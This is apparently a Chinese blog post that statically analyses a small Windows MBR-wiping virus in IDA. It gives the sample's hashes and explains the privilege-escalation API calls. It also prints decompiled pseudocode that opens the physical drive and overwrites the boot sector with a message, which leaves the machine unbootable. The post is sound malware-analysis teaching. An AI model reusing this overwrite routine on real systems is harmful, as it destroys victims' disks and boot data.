一个简单的MBR病毒

一、病毒简介

文件名称

c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d

文件类型(Magic)

PE32 executable (console) Intel 80386, for MS Windows

文件大小

36.00KB

SHA256

c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d

SHA1

d164561158ae4bb75512a34f06521a7203ba64a9

MD5

955b66c722ca993dd11fbe56bbf92525

CRC32

31E79506

SSDEEP

384:ePjkT1e0/tmFfC92xAgl1PjfvjKrC9hW6yilkKzJWt:ojkY0/EF6CXPjfx46Dl/JWt

ImpHash

9a06fce838eff426c6ee75ab22366372

二、环境准备

操作系统

调试工具

Win7x86

IDA

三、静态分析

因为这个病毒很简单,所以没有行为分析,直接看源代码就好了,把样本拖入到PEID中,无壳,VC6++写的:

一个简单的MBR病毒_第1张图片

直接拖到IDA,进入main函数:

一个简单的MBR病毒_第2张图片
一个简单的MBR病毒_第3张图片

可以看到只有俩个函数,先看第一个,参数SeDebugPrivilege是Windows字符权限名称,大概已经知道第一个函数是干嘛的了,进入sub_401000中:

一个简单的MBR病毒_第4张图片
一个简单的MBR病毒_第5张图片

很明显一个提权代码,通过GetCurrentProcess获取当前句柄,然后获取进程访问令牌的句柄,函数原型如下:

BOOL OpenProcessToken(

HANDLE ProcessHandle, //要修改访问权限的进程句柄

DWORD DesiredAccess, //指定你要进行的操作类型

PHANDLE TokenHandle //返回的访问令牌指针

);

然后获取权限对应的LUID值,这就要用到另外一个API函数LookupPrivilegevalue,其原形如下:

BOOL LookupPrivilegevalue(

LPCTSTR lpSystemName, // system name

LPCTSTR lpName, // privilege name

PLUID lpLuid // locally unique identifier

);

第一个参数是系统的名称,如果是本地系统只要指明为NULL就可以了,第三个参数就是返回LUID的指针,第二个参数就是指明了权限的名称,如“SeDebugPrivilege”。

接下来就是通过AdjustTokenPrivileges修改权限了:

BOOL AdjustTokenPrivileges(

HANDLE TokenHandle, // handle to token

BOOL DisableAllPrivileges, // disabling option

PTOKEN_PRIVILEGES NewState, // privilege information

DWORD BufferLength, // size of buffer

PTOKEN_PRIVILEGES PreviousState, // original state buffer

PDWORD ReturnLength // required buffer size

);

第一个参数是访问令牌的句柄;第二个参数决定是进行权限修改还是除能(Disable)所有权限;第三个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作; 第四个参数是结构PreviousState的长度,如果PreviousState为空,该参数应为NULL;第五个参数也是一个指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息,可空;最后一个参数为实际PreviousState结构返回的大小。

完事返回上层,我们看下一个函数sub_401090:

一个简单的MBR病毒_第6张图片

这里首先是一个内存清空操作,然后对Buffer进行了填充拷贝,我们去看qmemcpy第二个参数:

一个简单的MBR病毒_第7张图片
一个简单的MBR病毒_第8张图片

可以看到一串字符串,L am virus!,** you,接下来看其他函数:

HANDLE __cdecl sub_401090()

{

HANDLE result; // eax@1

HANDLE v1; // esi@1

DWORD BytesReturned; // [sp+8h] [bp-208h]@2

DWORD NumberOfBytesWritten; // [sp+Ch] [bp-204h]@2

char Buffer; // [sp+10h] [bp-200h]@1

char v5; // [sp+11h] [bp-1FFh]@1

__int16 v6; // [sp+20Dh] [bp-3h]@1

char v7; // [sp+20Fh] [bp-1h]@1

memset(&v5, 0, 0x1FCu);

v6 = 0;

qmemcpy(&Buffer, &byte_406030, 0x30u);

HIBYTE(v6) = 85;

v7 = -86;

result = CreateFileA(FileName, 0xC0000000, 3u, 0, 3u, 0, 0);

v1 = result;

if ( result != (HANDLE)-1 )

{

DeviceIoControl(result, 0x90018u, 0, 0, 0, 0, &BytesReturned, 0);

WriteFile(v1, &Buffer, 0x200u, &NumberOfBytesWritten, 0);

DeviceIoControl(v1, 0x9001Cu, 0, 0, 0, 0, &BytesReturned, 0);

CloseHandle(v1);

ExitProcess(0xFFFFFFFF);

}

return result;

}

接下来是一个CreateFileA获取句柄,看看FileName:

一个简单的MBR病毒_第9张图片
一个简单的MBR病毒_第10张图片

这是MBR所在的磁盘驱动器,这里很明显要对MBR进行操作。然后就是通过DeviceIoControl 将控制代码直接发送到指定的设备驱动程序,使相应的设备执行相应的操作。然后哦就是写入操作,把Buffer中的内容写进去,没了。

就俩函数,一个提权,一个写入,我们运行一下试试(当然,这里提权没有成功,):

一个简单的MBR病毒_第11张图片

啥反应没有,然后我们重启计算机就会发现无法正常开机。

你可能感兴趣的:(后端)